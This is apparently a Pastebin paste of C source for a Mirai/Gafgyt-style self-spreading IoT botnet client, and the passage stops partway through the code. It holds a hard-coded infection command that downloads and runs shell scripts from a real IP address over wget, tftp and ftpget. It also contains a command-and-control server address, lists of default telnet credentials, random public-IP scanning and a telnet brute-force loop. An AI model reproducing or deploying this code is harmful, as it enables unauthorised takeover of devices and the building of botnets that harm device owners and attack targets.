Cumfort

Razor Non Selfrep Client (ENJOY!!)

Sep 5th, 2017
379
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 72.28 KB | None | 0 0
  1. /*
  2. ~RAZER SELF REP BOT~
  3. Made by: EnvyTheGod
  4. IG: @Envy.Servicess & @0ximp
  5. Skype: @viral_taz & @paralleize
  6. DON'T LEAK THIS SHIT!!!
  7. ██████╗ █████╗ ███████╗███████╗██████╗
  8. ██╔══██╗██╔══██╗╚══███╔╝██╔════╝██╔══██╗
  9. ██████╔╝███████║ ███╔╝ █████╗ ██████╔╝
  10. ██╔══██╗██╔══██║ ███╔╝ ██╔══╝ ██╔══██╗
  11. ██║ ██║██║ ██║███████╗███████╗██║ ██║
  12. ╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝╚══════╝╚═╝ ╚═╝
  13.  
  14. *RAZER SELF REP BOT*
  15. */
  16.  
  17. #define PR_SET_NAME 15
  18. #define SERVER_LIST_SIZE (sizeof(commServer) / sizeof(unsigned char *))
  19. #define PAD_RIGHT 1
  20. #define PAD_ZERO 2
  21. #define PRINT_BUF_LEN 12
  22. #define CMD_IAC 255
  23. #define CMD_WILL 251
  24. #define CMD_WONT 252
  25. #define CMD_DO 253
  26. #define CMD_DONT 254
  27. #define OPT_SGA 3
  28.  
  29. #include <stdlib.h>
  30. #include <stdarg.h>
  31. #include <stdio.h>
  32. #include <sys/socket.h>
  33. #include <sys/types.h>
  34. #include <netinet/in.h>
  35. #include <arpa/inet.h>
  36. #include <netdb.h>
  37. #include <signal.h>
  38. #include <strings.h>
  39. #include <string.h>
  40. #include <sys/utsname.h>
  41. #include <unistd.h>
  42. #include <fcntl.h>
  43. #include <errno.h>
  44. #include <netinet/ip.h>
  45. #include <netinet/udp.h>
  46. #include <netinet/tcp.h>
  47. #include <sys/wait.h>
  48. #include <sys/ioctl.h>
  49. #include <net/if.h>
  50.  
  51. char *infectline = "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.166.185.18/bins.sh; chmod 777 bins.sh; sh bins.sh; tftp 46.166.185.18 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g 46.166.185.18; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 46.166.185.18 ftp1.sh ftp1.sh; sh ftp1.sh; rm -rf bins.sh tftp1.sh tftp2.sh ftp1.sh; rm -rf *\r\n";
  52.  
  53. unsigned char *commServer[] =
  54. {
  55. "46.166.185.18:6123"
  56. };
  57.  
  58. const char *uastrings[] = {
  59. "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0",
  60. "Mozilla/5.0 (X11; U; Linux ppc; en-US; rv:1.9a8) Gecko/2007100620 GranParadiso/3.1",
  61. "Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable) AppleWebKit/420+ (KHTML, like Gecko)",
  62. "Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en; rv:1.8.1.11) Gecko/20071128 Camino/1.5.4",
  63. "Mozilla/5.0 (Windows; U; Windows NT 6.1; rv:2.2) Gecko/20110201",
  64. "Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.6) Gecko/2009020911",
  65. "Mozilla/5.0 (Windows; U; Windows NT 6.1; cs; rv:1.9.2.6) Gecko/20100628 myibrow/4alpha2",
  66. "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; MyIE2; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0)",
  67. "Mozilla/5.0 (Windows; U; Win 9x 4.90; SG; rv:1.9.2.4) Gecko/20101104 Netscape/9.1.0285",
  68. "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.8) Gecko/20090327 Galeon/2.0.7",
  69. "Mozilla/5.0 (PLAYSTATION 3; 3.55)",
  70. "Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Thunderbird/38.2.0 Lightning/4.0.2",
  71. "wii libnup/1.0",
  72. "Mozilla/4.0 (PSP (PlayStation Portable); 2.00)",
  73. "PSP (PlayStation Portable); 2.00",
  74. "Bunjalloo/0.7.6(Nintendo DS;U;en)",
  75. "Doris/1.15 [en] (Symbian)",
  76. "BlackBerry7520/4.0.0 Profile/MIDP-2.0 Configuration/CLDC-1.1",
  77. "BlackBerry9700/5.0.0.743 Profile/MIDP-2.1 Configuration/CLDC-1.1 VendorID/100",
  78. "Opera/9.80 (X11; Linux i686; Ubuntu/14.10) Presto/2.12.388 Version/12.16",
  79. "Opera/9.80 (Windows NT 5.1; U;) Presto/2.7.62 Version/11.01",
  80. "Mozilla/5.0 (X11; Linux x86_64; U; de; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 10.62",
  81. "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36",
  82. "Mozilla/5.0 (Linux; Android 4.4.3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.89 Mobile Safari/537.36",
  83. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.39 Safari/525.19",
  84. "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0; chromeframe/11.0.696.57)",
  85. "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; uZardWeb/1.0; Server_JP)",
  86. "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_7; en-us) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Safari/530.17 Skyfire/2.0",
  87. "SonyEricssonW800i/R1BD001/SEMC-Browser/4.2 Profile/MIDP-2.0 Configuration/CLDC-1.1",
  88. "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/4.0; FDM; MSIECrawler; Media Center PC 5.0)",
  89. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:5.0) Gecko/20110517 Firefox/5.0 Fennec/5.0",
  90. "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; FunWebProducts)",
  91. "MOT-V300/0B.09.19R MIB/2.2 Profile/MIDP-2.0 Configuration/CLDC-1.0",
  92. "Mozilla/5.0 (Android; Linux armv7l; rv:9.0) Gecko/20111216 Firefox/9.0 Fennec/9.0",
  93. "Mozilla/5.0 (compatible; Teleca Q7; Brew 3.1.5; U; en) 480X800 LGE VX11000",
  94. "MOT-L7/08.B7.ACR MIB/2.2.1 Profile/MIDP-2.0 Configuration/CLDC-1.1"
  95. };
  96.  
  97. int initConnection();
  98. int getBogos(unsigned char *bogomips);
  99. int getCores();
  100. int getCountry(unsigned char *buf, int bufsize);
  101. void makeRandomStr(unsigned char *buf, int length);
  102. int sockprintf(int sock, char *formatStr, ...);
  103. char *inet_ntoa(struct in_addr in);
  104.  
  105. int mainCommSock = 0, currentServer = -1, gotIP = 0;
  106. uint32_t *pids;
  107. uint32_t scanPid;
  108. uint64_t numpids = 0;
  109. struct in_addr ourIP;
  110. unsigned char macAddress[6] = {0};
  111. char *usernames[] = {"root\0", "admin\0", "user\0", "login\0", "guest\0", "support\0", "netgear\0", "cisco\0", "ubnt\0", "telnet\0", "Administrator\0", "comcast\0", "default\0", "password\0", "D-Link\0", "manager\0", "pi\0", "VTech\0" ,"vagrant\0"};
  112. char *passwords[] = {"root\0", "admin\0", "user\0", "login\0", "guest\0", "support\0", "netgear\0", "cisco\0", "ubnt\0", "telnet\0", "Administrator\0", "comcast\0", "default\0", "password\0", "123456\0", "changeme\0", "1234\0", "D-Link\0", "manager\0", "pi\0", "raspberry\0", "VTech\0", "vagrant\0, 123\0", "12345\0", "dreambox\0", "test\0"};
  113.  
  114. #define PHI 0x9e3779b9
  115. static uint32_t Q[4096], c = 362436;
  116.  
  117. void init_rand(uint32_t x)
  118. {
  119. int i;
  120.  
  121. Q[0] = x;
  122. Q[1] = x + PHI;
  123. Q[2] = x + PHI + PHI;
  124.  
  125. for (i = 3; i < 4096; i++) Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
  126. }
  127.  
  128. uint32_t rand_cmwc(void)
  129. {
  130. uint64_t t, a = 18782LL;
  131. static uint32_t i = 4095;
  132. uint32_t x, r = 0xfffffffe;
  133. i = (i + 1) & 4095;
  134. t = a * Q[i] + c;
  135. c = (uint32_t)(t >> 32);
  136. x = t + c;
  137. if (x < c) {
  138. x++;
  139. c++;
  140. }
  141. return (Q[i] = r - x);
  142. }
  143.  
  144. void trim(char *str)
  145. {
  146. int i;
  147. int begin = 0;
  148. int end = strlen(str) - 1;
  149.  
  150. while (isspace(str[begin])) begin++;
  151.  
  152. while ((end >= begin) && isspace(str[end])) end--;
  153. for (i = begin; i <= end; i++) str[i - begin] = str[i];
  154.  
  155. str[i - begin] = '\0';
  156. }
  157.  
  158. static void printchar(unsigned char **str, int c)
  159. {
  160. if (str) {
  161. **str = c;
  162. ++(*str);
  163. }
  164. else (void)write(1, &c, 1);
  165. }
  166.  
  167. static int prints(unsigned char **out, const unsigned char *string, int width, int pad)
  168. {
  169. register int pc = 0, padchar = ' ';
  170.  
  171. if (width > 0) {
  172. register int len = 0;
  173. register const unsigned char *ptr;
  174. for (ptr = string; *ptr; ++ptr) ++len;
  175. if (len >= width) width = 0;
  176. else width -= len;
  177. if (pad & PAD_ZERO) padchar = '0';
  178. }
  179. if (!(pad & PAD_RIGHT)) {
  180. for ( ; width > 0; --width) {
  181. printchar (out, padchar);
  182. ++pc;
  183. }
  184. }
  185. for ( ; *string ; ++string) {
  186. printchar (out, *string);
  187. ++pc;
  188. }
  189. for ( ; width > 0; --width) {
  190. printchar (out, padchar);
  191. ++pc;
  192. }
  193.  
  194. return pc;
  195. }
  196.  
  197. static int printi(unsigned char **out, int i, int b, int sg, int width, int pad, int letbase)
  198. {
  199. unsigned char print_buf[PRINT_BUF_LEN];
  200. register unsigned char *s;
  201. register int t, neg = 0, pc = 0;
  202. register unsigned int u = i;
  203.  
  204. if (i == 0) {
  205. print_buf[0] = '0';
  206. print_buf[1] = '\0';
  207. return prints (out, print_buf, width, pad);
  208. }
  209.  
  210. if (sg && b == 10 && i < 0) {
  211. neg = 1;
  212. u = -i;
  213. }
  214.  
  215. s = print_buf + PRINT_BUF_LEN-1;
  216. *s = '\0';
  217.  
  218. while (u) {
  219. t = u % b;
  220. if( t >= 10 )
  221. t += letbase - '0' - 10;
  222. *--s = t + '0';
  223. u /= b;
  224. }
  225.  
  226. if (neg) {
  227. if( width && (pad & PAD_ZERO) ) {
  228. printchar (out, '-');
  229. ++pc;
  230. --width;
  231. }
  232. else {
  233. *--s = '-';
  234. }
  235. }
  236.  
  237. return pc + prints (out, s, width, pad);
  238. }
  239.  
  240. static int print(unsigned char **out, const unsigned char *format, va_list args )
  241. {
  242. register int width, pad;
  243. register int pc = 0;
  244. unsigned char scr[2];
  245.  
  246. for (; *format != 0; ++format) {
  247. if (*format == '%') {
  248. ++format;
  249. width = pad = 0;
  250. if (*format == '\0') break;
  251. if (*format == '%') goto out;
  252. if (*format == '-') {
  253. ++format;
  254. pad = PAD_RIGHT;
  255. }
  256. while (*format == '0') {
  257. ++format;
  258. pad |= PAD_ZERO;
  259. }
  260. for ( ; *format >= '0' && *format <= '9'; ++format) {
  261. width *= 10;
  262. width += *format - '0';
  263. }
  264. if( *format == 's' ) {
  265. register char *s = (char *)va_arg( args, int );
  266. pc += prints (out, s?s:"(null)", width, pad);
  267. continue;
  268. }
  269. if( *format == 'd' ) {
  270. pc += printi (out, va_arg( args, int ), 10, 1, width, pad, 'a');
  271. continue;
  272. }
  273. if( *format == 'x' ) {
  274. pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'a');
  275. continue;
  276. }
  277. if( *format == 'X' ) {
  278. pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'A');
  279. continue;
  280. }
  281. if( *format == 'u' ) {
  282. pc += printi (out, va_arg( args, int ), 10, 0, width, pad, 'a');
  283. continue;
  284. }
  285. if( *format == 'c' ) {
  286. scr[0] = (unsigned char)va_arg( args, int );
  287. scr[1] = '\0';
  288. pc += prints (out, scr, width, pad);
  289. continue;
  290. }
  291. }
  292. else {
  293. out:
  294. printchar (out, *format);
  295. ++pc;
  296. }
  297. }
  298. if (out) **out = '\0';
  299. va_end( args );
  300. return pc;
  301. }
  302.  
  303. int zprintf(const unsigned char *format, ...)
  304. {
  305. va_list args;
  306. va_start( args, format );
  307. return print( 0, format, args );
  308. }
  309.  
  310. int szprintf(unsigned char *out, const unsigned char *format, ...)
  311. {
  312. va_list args;
  313. va_start( args, format );
  314. return print( &out, format, args );
  315. }
  316.  
  317.  
  318. int sockprintf(int sock, char *formatStr, ...)
  319. {
  320. unsigned char *textBuffer = malloc(2048);
  321. memset(textBuffer, 0, 2048);
  322. char *orig = textBuffer;
  323. va_list args;
  324. va_start(args, formatStr);
  325. print(&textBuffer, formatStr, args);
  326. va_end(args);
  327. orig[strlen(orig)] = '\n';
  328. zprintf("buf: %s\n", orig);
  329. int q = send(sock,orig,strlen(orig), MSG_NOSIGNAL);
  330. free(orig);
  331. return q;
  332. }
  333.  
  334. static int *fdopen_pids;
  335.  
  336. int fdpopen(unsigned char *program, register unsigned char *type)
  337. {
  338. register int iop;
  339. int pdes[2], fds, pid;
  340.  
  341. if (*type != 'r' && *type != 'w' || type[1]) return -1;
  342.  
  343. if (pipe(pdes) < 0) return -1;
  344. if (fdopen_pids == NULL) {
  345. if ((fds = getdtablesize()) <= 0) return -1;
  346. if ((fdopen_pids = (int *)malloc((unsigned int)(fds * sizeof(int)))) == NULL) return -1;
  347. memset((unsigned char *)fdopen_pids, 0, fds * sizeof(int));
  348. }
  349.  
  350. switch (pid = vfork())
  351. {
  352. case -1:
  353. close(pdes[0]);
  354. close(pdes[1]);
  355. return -1;
  356. case 0:
  357. if (*type == 'r') {
  358. if (pdes[1] != 1) {
  359. dup2(pdes[1], 1);
  360. close(pdes[1]);
  361. }
  362. close(pdes[0]);
  363. } else {
  364. if (pdes[0] != 0) {
  365. (void) dup2(pdes[0], 0);
  366. (void) close(pdes[0]);
  367. }
  368. (void) close(pdes[1]);
  369. }
  370. execl("/bin/sh", "sh", "-c", program, NULL);
  371. _exit(127);
  372. }
  373. if (*type == 'r') {
  374. iop = pdes[0];
  375. (void) close(pdes[1]);
  376. } else {
  377. iop = pdes[1];
  378. (void) close(pdes[0]);
  379. }
  380. fdopen_pids[iop] = pid;
  381. return (iop);
  382. }
  383.  
  384. int fdpclose(int iop)
  385. {
  386. register int fdes;
  387. sigset_t omask, nmask;
  388. int pstat;
  389. register int pid;
  390.  
  391. if (fdopen_pids == NULL || fdopen_pids[iop] == 0) return (-1);
  392. (void) close(iop);
  393. sigemptyset(&nmask);
  394. sigaddset(&nmask, SIGINT);
  395. sigaddset(&nmask, SIGQUIT);
  396. sigaddset(&nmask, SIGHUP);
  397. (void) sigprocmask(SIG_BLOCK, &nmask, &omask);
  398. do {
  399. pid = waitpid(fdopen_pids[iop], (int *) &pstat, 0);
  400. } while (pid == -1 && errno == EINTR);
  401. (void) sigprocmask(SIG_SETMASK, &omask, NULL);
  402. fdopen_pids[fdes] = 0;
  403. return (pid == -1 ? -1 : WEXITSTATUS(pstat));
  404. }
  405.  
  406. unsigned char *fdgets(unsigned char *buffer, int bufferSize, int fd)
  407. {
  408. int got = 1, total = 0;
  409. while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
  410. return got == 0 ? NULL : buffer;
  411. }
  412.  
  413. static const long hextable[] = {
  414. [0 ... 255] = -1,
  415. ['0'] = 0, 1, 2, 3, 4, 5, 6, 7, 8, 9,
  416. ['A'] = 10, 11, 12, 13, 14, 15,
  417. ['a'] = 10, 11, 12, 13, 14, 15
  418. };
  419.  
  420. long parseHex(unsigned char *hex)
  421. {
  422. long ret = 0;
  423. while (*hex && ret >= 0) ret = (ret << 4) | hextable[*hex++];
  424. return ret;
  425. }
  426.  
  427. int wildString(const unsigned char* pattern, const unsigned char* string) {
  428. switch(*pattern)
  429. {
  430. case '\0': return *string;
  431. case '*': return !(!wildString(pattern+1, string) || *string && !wildString(pattern, string+1));
  432. case '?': return !(*string && !wildString(pattern+1, string+1));
  433. default: return !((toupper(*pattern) == toupper(*string)) && !wildString(pattern+1, string+1));
  434. }
  435. }
  436.  
  437. int getHost(unsigned char *toGet, struct in_addr *i)
  438. {
  439. struct hostent *h;
  440. if((i->s_addr = inet_addr(toGet)) == -1) return 1;
  441. return 0;
  442. }
  443.  
  444. void uppercase(unsigned char *str)
  445. {
  446. while(*str) { *str = toupper(*str); str++; }
  447. }
  448.  
  449. int getBogos(unsigned char *bogomips)
  450. {
  451. int cmdline = open("/proc/cpuinfo", O_RDONLY);
  452. char linebuf[4096];
  453. while(fdgets(linebuf, 4096, cmdline) != NULL)
  454. {
  455. uppercase(linebuf);
  456. if(strstr(linebuf, "BOGOMIPS") == linebuf)
  457. {
  458. unsigned char *pos = linebuf + 8;
  459. while(*pos == ' ' || *pos == '\t' || *pos == ':') pos++;
  460. while(pos[strlen(pos)-1] == '\r' || pos[strlen(pos)-1] == '\n') pos[strlen(pos)-1]=0;
  461. if(strchr(pos, '.') != NULL) *strchr(pos, '.') = 0x00;
  462. strcpy(bogomips, pos);
  463. close(cmdline);
  464. return 0;
  465. }
  466. memset(linebuf, 0, 4096);
  467. }
  468. close(cmdline);
  469. return 1;
  470. }
  471.  
  472. int getCores()
  473. {
  474. int totalcores = 0;
  475. int cmdline = open("/proc/cpuinfo", O_RDONLY);
  476. char linebuf[4096];
  477. while(fdgets(linebuf, 4096, cmdline) != NULL)
  478. {
  479. uppercase(linebuf);
  480. if(strstr(linebuf, "BOGOMIPS") == linebuf) totalcores++;
  481. memset(linebuf, 0, 4096);
  482. }
  483. close(cmdline);
  484. return totalcores;
  485.  
  486. }
  487.  
  488. void makeRandomStr(unsigned char *buf, int length)
  489. {
  490. int i = 0;
  491. for(i = 0; i < length; i++) buf[i] = (rand_cmwc()%(91-65))+65;
  492. }
  493.  
  494. int recvLine(int socket, unsigned char *buf, int bufsize)
  495. {
  496. memset(buf, 0, bufsize);
  497.  
  498. fd_set myset;
  499. struct timeval tv;
  500. tv.tv_sec = 30;
  501. tv.tv_usec = 0;
  502. FD_ZERO(&myset);
  503. FD_SET(socket, &myset);
  504. int selectRtn, retryCount;
  505. if ((selectRtn = select(socket+1, &myset, NULL, &myset, &tv)) <= 0) {
  506. while(retryCount < 10)
  507. {
  508. sockprintf(mainCommSock, "PING");
  509.  
  510. tv.tv_sec = 30;
  511. tv.tv_usec = 0;
  512. FD_ZERO(&myset);
  513. FD_SET(socket, &myset);
  514. if ((selectRtn = select(socket+1, &myset, NULL, &myset, &tv)) <= 0) {
  515. retryCount++;
  516. continue;
  517. }
  518.  
  519. break;
  520. }
  521. }
  522.  
  523. unsigned char tmpchr;
  524. unsigned char *cp;
  525. int count = 0;
  526.  
  527. cp = buf;
  528. while(bufsize-- > 1)
  529. {
  530. if(recv(mainCommSock, &tmpchr, 1, 0) != 1) {
  531. *cp = 0x00;
  532. return -1;
  533. }
  534. *cp++ = tmpchr;
  535. if(tmpchr == '\n') break;
  536. count++;
  537. }
  538. *cp = 0x00;
  539.  
  540. // zprintf("recv: %s\n", cp);
  541.  
  542. return count;
  543. }
  544.  
  545. int connectTimeout(int fd, char *host, int port, int timeout)
  546. {
  547. struct sockaddr_in dest_addr;
  548. fd_set myset;
  549. struct timeval tv;
  550. socklen_t lon;
  551.  
  552. int valopt;
  553. long arg = fcntl(fd, F_GETFL, NULL);
  554. arg |= O_NONBLOCK;
  555. fcntl(fd, F_SETFL, arg);
  556.  
  557. dest_addr.sin_family = AF_INET;
  558. dest_addr.sin_port = htons(port);
  559. if(getHost(host, &dest_addr.sin_addr)) return 0;
  560. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  561. int res = connect(fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  562.  
  563. if (res < 0) {
  564. if (errno == EINPROGRESS) {
  565. tv.tv_sec = timeout;
  566. tv.tv_usec = 0;
  567. FD_ZERO(&myset);
  568. FD_SET(fd, &myset);
  569. if (select(fd+1, NULL, &myset, NULL, &tv) > 0) {
  570. lon = sizeof(int);
  571. getsockopt(fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  572. if (valopt) return 0;
  573. }
  574. else return 0;
  575. }
  576. else return 0;
  577. }
  578.  
  579. arg = fcntl(fd, F_GETFL, NULL);
  580. arg &= (~O_NONBLOCK);
  581. fcntl(fd, F_SETFL, arg);
  582.  
  583. return 1;
  584. }
  585.  
  586. int listFork()
  587. {
  588. uint32_t parent, *newpids, i;
  589. parent = fork();
  590. if (parent <= 0) return parent;
  591. numpids++;
  592. newpids = (uint32_t*)malloc((numpids + 1) * 4);
  593. for (i = 0; i < numpids - 1; i++) newpids[i] = pids[i];
  594. newpids[numpids - 1] = parent;
  595. free(pids);
  596. pids = newpids;
  597. return parent;
  598. }
  599.  
  600. int negotiate(int sock, unsigned char *buf, int len)
  601. {
  602. unsigned char c;
  603.  
  604. switch (buf[1]) {
  605. case CMD_IAC: /*dropped an extra 0xFF wh00ps*/ return 0;
  606. case CMD_WILL:
  607. case CMD_WONT:
  608. case CMD_DO:
  609. case CMD_DONT:
  610. c = CMD_IAC;
  611. send(sock, &c, 1, MSG_NOSIGNAL);
  612. if (CMD_WONT == buf[1]) c = CMD_DONT;
  613. else if (CMD_DONT == buf[1]) c = CMD_WONT;
  614. else if (OPT_SGA == buf[1]) c = (buf[1] == CMD_DO ? CMD_WILL : CMD_DO);
  615. else c = (buf[1] == CMD_DO ? CMD_WONT : CMD_DONT);
  616. send(sock, &c, 1, MSG_NOSIGNAL);
  617. send(sock, &(buf[2]), 1, MSG_NOSIGNAL);
  618. break;
  619.  
  620. default:
  621. break;
  622. }
  623.  
  624. return 0;
  625. }
  626.  
  627. int matchPrompt(char *bufStr)
  628. {
  629. char *prompts = ":>%$#\0";
  630.  
  631. int bufLen = strlen(bufStr);
  632. int i, q = 0;
  633. for(i = 0; i < strlen(prompts); i++)
  634. {
  635. while(bufLen > q && (*(bufStr + bufLen - q) == 0x00 || *(bufStr + bufLen - q) == ' ' || *(bufStr + bufLen - q) == '\r' || *(bufStr + bufLen - q) == '\n')) q++;
  636. if(*(bufStr + bufLen - q) == prompts[i]) return 1;
  637. }
  638.  
  639. return 0;
  640. }
  641.  
  642. int readUntil(int fd, char *toFind, int matchLePrompt, int timeout, int timeoutusec, char *buffer, int bufSize, int initialIndex)
  643. {
  644. int bufferUsed = initialIndex, got = 0, found = 0;
  645. fd_set myset;
  646. struct timeval tv;
  647. tv.tv_sec = timeout;
  648. tv.tv_usec = timeoutusec;
  649. unsigned char *initialRead = NULL;
  650.  
  651. while(bufferUsed + 2 < bufSize && (tv.tv_sec > 0 || tv.tv_usec > 0))
  652. {
  653. FD_ZERO(&myset);
  654. FD_SET(fd, &myset);
  655. if (select(fd+1, &myset, NULL, NULL, &tv) < 1) break;
  656. initialRead = buffer + bufferUsed;
  657. got = recv(fd, initialRead, 1, 0);
  658. if(got == -1 || got == 0) return 0;
  659. bufferUsed += got;
  660. if(*initialRead == 0xFF)
  661. {
  662. got = recv(fd, initialRead + 1, 2, 0);
  663. if(got == -1 || got == 0) return 0;
  664. bufferUsed += got;
  665. if(!negotiate(fd, initialRead, 3)) return 0;
  666. } else {
  667. if(strstr(buffer, toFind) != NULL || (matchLePrompt && matchPrompt(buffer))) { found = 1; break; }
  668. }
  669. }
  670.  
  671. if(found) return 1;
  672. return 0;
  673. }
  674.  
  675. static uint8_t ipState[5];
  676. in_addr_t getRandomPublicIP()
  677. {
  678. uint8_t ipState[4] = {0};
  679. ipState[0] = rand() % 255;
  680. ipState[1] = rand() % 255;
  681. ipState[2] = rand() % 255;
  682. ipState[3] = rand() % 255;
  683. while(
  684. (ipState[1] == 0) ||
  685. (ipState[1] == 10) ||
  686. (ipState[1] == 100 && (ipState[2] >= 64 && ipState[2] <= 127)) ||
  687. (ipState[1] == 127) ||
  688. (ipState[1] == 169 && ipState[2] == 254) ||
  689. (ipState[1] == 172 && (ipState[2] <= 16 && ipState[2] <= 31)) ||
  690. (ipState[1] == 192 && ipState[2] == 0 && ipState[3] == 2) ||
  691. (ipState[1] == 192 && ipState[2] == 88 && ipState[3] == 99) ||
  692. (ipState[1] == 192 && ipState[2] == 168) ||
  693. (ipState[1] == 198 && (ipState[2] == 18 || ipState[2] == 19)) ||
  694. (ipState[1] == 198 && ipState[2] == 51 && ipState[3] == 100) ||
  695. (ipState[1] == 203 && ipState[2] == 0 && ipState[3] == 113) ||
  696. (ipState[1] >= 224)
  697. )
  698. {
  699. ipState[0] = rand() % 255;
  700. ipState[1] = rand() % 255;
  701. ipState[2] = rand() % 255;
  702. ipState[3] = rand() % 255;
  703. }
  704. char ip[16] = {0};
  705. szprintf(ip, "%d.%d.%d.%d", ipState[0], ipState[1], ipState[2], ipState[3]);
  706. return inet_addr(ip);
  707. }
  708.  
  709. in_addr_t getRandomIP(in_addr_t netmask)
  710. {
  711. in_addr_t tmp = ntohl(ourIP.s_addr) & netmask;
  712. return tmp ^ ( rand_cmwc() & ~netmask);
  713. }
  714.  
  715. unsigned short csum (unsigned short *buf, int count)
  716. {
  717. register uint64_t sum = 0;
  718. while( count > 1 ) { sum += *buf++; count -= 2; }
  719. if(count > 0) { sum += *(unsigned char *)buf; }
  720. while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
  721. return (uint16_t)(~sum);
  722. }
  723.  
  724. unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph)
  725. {
  726.  
  727. struct tcp_pseudo
  728. {
  729. unsigned long src_addr;
  730. unsigned long dst_addr;
  731. unsigned char zero;
  732. unsigned char proto;
  733. unsigned short length;
  734. } pseudohead;
  735. unsigned short total_len = iph->tot_len;
  736. pseudohead.src_addr=iph->saddr;
  737. pseudohead.dst_addr=iph->daddr;
  738. pseudohead.zero=0;
  739. pseudohead.proto=IPPROTO_TCP;
  740. pseudohead.length=htons(sizeof(struct tcphdr));
  741. int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
  742. unsigned short *tcp = malloc(totaltcp_len);
  743. memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
  744. memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));
  745. unsigned short output = csum(tcp,totaltcp_len);
  746. free(tcp);
  747. return output;
  748. }
  749.  
  750. void makeIPPacket(struct iphdr *iph, uint32_t dest, uint32_t source, uint8_t protocol, int packetSize)
  751. {
  752. iph->ihl = 5;
  753. iph->version = 4;
  754. iph->tos = 0;
  755. iph->tot_len = sizeof(struct iphdr) + packetSize;
  756. iph->id = rand_cmwc();
  757. iph->frag_off = 0;
  758. iph->ttl = MAXTTL;
  759. iph->protocol = protocol;
  760. iph->check = 0;
  761. iph->saddr = source;
  762. iph->daddr = dest;
  763. }
  764.  
  765. int sclose(int fd)
  766. {
  767. if(3 > fd) return 1;
  768. close(fd);
  769. return 0;
  770. }
  771.  
  772. void StartTheLelz()
  773. {
  774. int max = (getdtablesize() / 4) * 3, i, res;
  775. fd_set myset;
  776. struct timeval tv;
  777. socklen_t lon;
  778. int valopt;
  779.  
  780. max = max > 512 ? 512 : max;
  781.  
  782. struct sockaddr_in dest_addr;
  783. dest_addr.sin_family = AF_INET;
  784. dest_addr.sin_port = htons(23);
  785. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  786.  
  787. struct telstate_t
  788. {
  789. int fd;
  790. uint32_t ip;
  791. uint8_t state;
  792. uint8_t complete;
  793. uint8_t usernameInd;
  794. uint8_t passwordInd;
  795. uint32_t totalTimeout;
  796. uint16_t bufUsed;
  797. char *sockbuf;
  798. } fds[max];
  799. memset(fds, 0, max * (sizeof(int) + 1));
  800. for(i = 0; i < max; i++) { fds[i].complete = 1; fds[i].sockbuf = malloc(1024); memset(fds[i].sockbuf, 0, 1024); }
  801. struct timeval timeout;
  802. timeout.tv_sec = 5;
  803. timeout.tv_usec = 0;
  804. while(1)
  805. {
  806. for(i = 0; i < max; i++)
  807. {
  808. switch(fds[i].state)
  809. {
  810. case 0:
  811. {
  812. memset(fds[i].sockbuf, 0, 1024);
  813.  
  814. if(fds[i].complete) { char *tmp = fds[i].sockbuf; memset(&(fds[i]), 0, sizeof(struct telstate_t)); fds[i].sockbuf = tmp; fds[i].ip = getRandomPublicIP(); }
  815. else {
  816. fds[i].passwordInd++;
  817. if(fds[i].passwordInd == sizeof(passwords) / sizeof(char *)) { fds[i].passwordInd = 0; fds[i].usernameInd++; }
  818. if(fds[i].usernameInd == sizeof(usernames) / sizeof(char *)) { fds[i].complete = 1; continue; }
  819. }
  820. dest_addr.sin_family = AF_INET;
  821. dest_addr.sin_port = htons(23);
  822. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  823. dest_addr.sin_addr.s_addr = fds[i].ip;
  824. fds[i].fd = socket(AF_INET, SOCK_STREAM, 0);
  825. setsockopt (fds[i].fd, SOL_SOCKET, SO_RCVTIMEO, (char *)&timeout, sizeof(timeout));
  826. setsockopt (fds[i].fd, SOL_SOCKET, SO_SNDTIMEO, (char *)&timeout, sizeof(timeout));
  827. if(fds[i].fd == -1) { continue; }
  828. fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK);
